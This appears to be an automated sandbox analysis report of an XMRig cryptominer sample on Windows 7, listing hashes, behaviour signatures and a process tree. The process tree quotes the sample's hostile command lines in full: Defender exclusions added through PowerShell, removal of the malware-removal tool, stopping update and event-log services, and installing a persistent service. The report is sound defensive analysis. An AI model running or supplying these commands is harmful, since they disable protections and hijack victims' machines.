Analysis

  • max time kernel
    132s
  • max time network
    124s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    23-05-2024 00:35

General

  • Target

    634a71582674b11845ba99e2cdf75f80_NeikiAnalytics.exe

  • Size

    5.3MB

  • MD5

    634a71582674b11845ba99e2cdf75f80

  • SHA1

    751ae63adc4cce6628a042a462d78b279f5a7a8e

  • SHA256

    c9e86a8fc6bf55fb2a1666a8cd77752d367d1fdef4fa2ca032b362636c9512b0

  • SHA512

    d76f3e2c475e6ba0e1efc7e2574e2dbb0d3430d2e91afea1cd3769a02bd608576bd2516589e5d6e594d966773675211ccfb5c2cf10770051318c346e337a5c65

  • SSDEEP

    98304:RcmetZo1we5eNHA6Qtu1btqbyrvRdpveLhBRcIIIAEBczweizIPYj:9vwsKuoxqbyzRdpvuRcNIdBczjej

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Creates new service(s) 2 TTPs
  • Stops running service(s) 4 TTPs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 1 IoCs
  • UPX packed file 13 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Windows directory 2 IoCs
  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 11 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\634a71582674b11845ba99e2cdf75f80_NeikiAnalytics.exe
    "C:\Users\Admin\AppData\Local\Temp\634a71582674b11845ba99e2cdf75f80_NeikiAnalytics.exe"
    1⤵
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    PID:1704
    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3024
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2676
      • C:\Windows\system32\wusa.exe
        wusa /uninstall /kb:890830 /quiet /norestart
        3⤵
        • Drops file in Windows directory
        PID:2460
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop UsoSvc
      2⤵
      • Launches sc.exe
      PID:2556
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop WaaSMedicSvc
      2⤵
      • Launches sc.exe
      PID:2584
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop wuauserv
      2⤵
      • Launches sc.exe
      PID:2448
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop bits
      2⤵
      • Launches sc.exe
      PID:2588
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop dosvc
      2⤵
      • Launches sc.exe
      PID:2440
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2376
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2920
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2944
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2472
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe delete "ROADPDXD"
      2⤵
      • Launches sc.exe
      PID:2476
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe create "ROADPDXD" binpath= "C:\ProgramData\ypsqetvlruho\kjakmqdelduq.exe" start= "auto"
      2⤵
      • Launches sc.exe
      PID:1600
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop eventlog
      2⤵
      • Launches sc.exe
      PID:1956
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe start "ROADPDXD"
      2⤵
      • Launches sc.exe
      PID:308
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\634a71582674b11845ba99e2cdf75f80_NeikiAnalytics.exe"
      2⤵
      • Deletes itself
      • Suspicious use of WriteProcessMemory
      PID:628
      • C:\Windows\system32\choice.exe
        choice /C Y /N /D Y /T 3
        3⤵
          PID:2800
    • C:\ProgramData\ypsqetvlruho\kjakmqdelduq.exe
      C:\ProgramData\ypsqetvlruho\kjakmqdelduq.exe
      1⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2816
      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops file in System32 directory
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2796
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1688
        • C:\Windows\system32\wusa.exe
          wusa /uninstall /kb:890830 /quiet /norestart
          3⤵
          • Drops file in Windows directory
          PID:1296
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop UsoSvc
        2⤵
        • Launches sc.exe
        PID:2672
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        2⤵
        • Launches sc.exe
        PID:812
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop wuauserv
        2⤵
        • Launches sc.exe
        PID:2332
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop bits
        2⤵
        • Launches sc.exe
        PID:2412
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop dosvc
        2⤵
        • Launches sc.exe
        PID:2512
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2708
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1760
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1040
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1036
      • C:\Windows\system32\conhost.exe
        C:\Windows\system32\conhost.exe
        2⤵
          PID:1516
        • C:\Windows\system32\nslookup.exe
          nslookup.exe
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2392

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\ProgramData\ypsqetvlruho\kjakmqdelduq.exe

        Filesize

        5.3MB

        MD5

        634a71582674b11845ba99e2cdf75f80

        SHA1

        751ae63adc4cce6628a042a462d78b279f5a7a8e

        SHA256

        c9e86a8fc6bf55fb2a1666a8cd77752d367d1fdef4fa2ca032b362636c9512b0

        SHA512

        d76f3e2c475e6ba0e1efc7e2574e2dbb0d3430d2e91afea1cd3769a02bd608576bd2516589e5d6e594d966773675211ccfb5c2cf10770051318c346e337a5c65

      • memory/1516-23-0x0000000140000000-0x000000014000E000-memory.dmp

        Filesize

        56KB

      • memory/1516-18-0x0000000140000000-0x000000014000E000-memory.dmp

        Filesize

        56KB

      • memory/1516-19-0x0000000140000000-0x000000014000E000-memory.dmp

        Filesize

        56KB

      • memory/1516-20-0x0000000140000000-0x000000014000E000-memory.dmp

        Filesize

        56KB

      • memory/1516-25-0x0000000140000000-0x000000014000E000-memory.dmp

        Filesize

        56KB

      • memory/1516-21-0x0000000140000000-0x000000014000E000-memory.dmp

        Filesize

        56KB

      • memory/2392-39-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2392-38-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2392-40-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2392-34-0x00000000001B0000-0x00000000001D0000-memory.dmp

        Filesize

        128KB

      • memory/2392-28-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2392-29-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2392-31-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2392-27-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2392-32-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2392-37-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2392-35-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2392-33-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2392-30-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2392-36-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2796-16-0x0000000019B60000-0x0000000019E42000-memory.dmp

        Filesize

        2.9MB

      • memory/2796-17-0x0000000000360000-0x0000000000368000-memory.dmp

        Filesize

        32KB

      • memory/3024-4-0x000007FEF5A8E000-0x000007FEF5A8F000-memory.dmp

        Filesize

        4KB

      • memory/3024-5-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

        Filesize

        9.6MB

      • memory/3024-11-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

        Filesize

        9.6MB

      • memory/3024-6-0x000000001B140000-0x000000001B422000-memory.dmp

        Filesize

        2.9MB

      • memory/3024-7-0x00000000022D0000-0x00000000022D8000-memory.dmp

        Filesize

        32KB

      • memory/3024-8-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

        Filesize

        9.6MB

      • memory/3024-9-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

        Filesize

        9.6MB

      • memory/3024-10-0x000007FEF57D0000-0x000007FEF616D000-memory.dmp

        Filesize

        9.6MB